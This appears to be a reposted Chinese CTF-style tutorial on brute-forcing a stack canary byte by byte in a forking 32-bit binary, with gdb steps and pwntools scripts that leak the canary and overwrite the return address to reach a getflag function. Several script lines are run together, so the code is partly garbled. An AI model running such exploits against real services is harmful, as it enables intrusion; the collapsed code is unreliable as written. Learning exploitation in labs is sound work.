本文主要是介绍Canary学习(爆破Canary),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
one-by-one 爆破Canary原理
- 对于Canary,虽然每次进程重启后Canary不同,但是同一个进程中的不同线程的Cannary是相同的,并且通过fork函数创建的子进程中的canary也是相同的,因为fork函数会直接拷贝父进程的内存。
- 最低位为0x00,之后逐次爆破,如果canary爆破不成功,则程序崩溃;爆破成功则程序进行下面的逻辑。由此可判断爆破是否成功。
- 我们可以利用这样的特点,彻底逐个字节将Canary爆破出来。
example
开启了Canary保护
IDA反汇编可知,程序中含有fork函数,可进行爆破canary
fun函数中存在栈溢出
动态调试,查看偏移
在fork函数处下第一次断点
在canary压栈处下第二次断点
gdb bin1
b *0x0804874B
b *0x0804870C
r
set follow-fork-mode child
//跟随子进程
c
telescope $esp 35
canary
- 即可查出canary与ebp之间的偏移位置;
- buf与ebp之间的偏移同理
编写exp,进行爆破
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
context(arch='i386', os='linux')
local = 1
elf = ELF('./bin1')if local:p = process('./bin1')libc = elf.libcelse:p = remote('',)libc = ELF('./')
p.recvuntil('welcome\n')
canary = '\x00'
for k in range(3):for i in range(256):print "the " + str(k) + ": " + chr(i)p.send('a'*100 + canary + chr(i))a = p.recvuntil("welcome\n")print aif "sucess" in a:canary += chr(i)print "canary: " + canarybreak
之后利用getflag函数地址发送payload
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
context(arch='i386', os='linux')
local = 1
elf = ELF('./bin1')if local:p = process('./bin1')libc = elf.libcelse:p = remote('',)libc = ELF('./')
p.recvuntil('welcome\n')
canary = '\x00'
for k in range(3):for i in range(256):print "the " + str(k) + ": " + chr(i)p.send('a'*100 + canary + chr(i))a = p.recvuntil("welcome\n")print aif "sucess" in a:canary += chr(i)print "canary: " + canarybreak
addr = 0x0804863B
payload = 'A' * 100 + canary + 'A' * 12 + p32(addr)p.send(payload)
p.interactive()
文件地址
下载
这篇关于Canary学习(爆破Canary)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!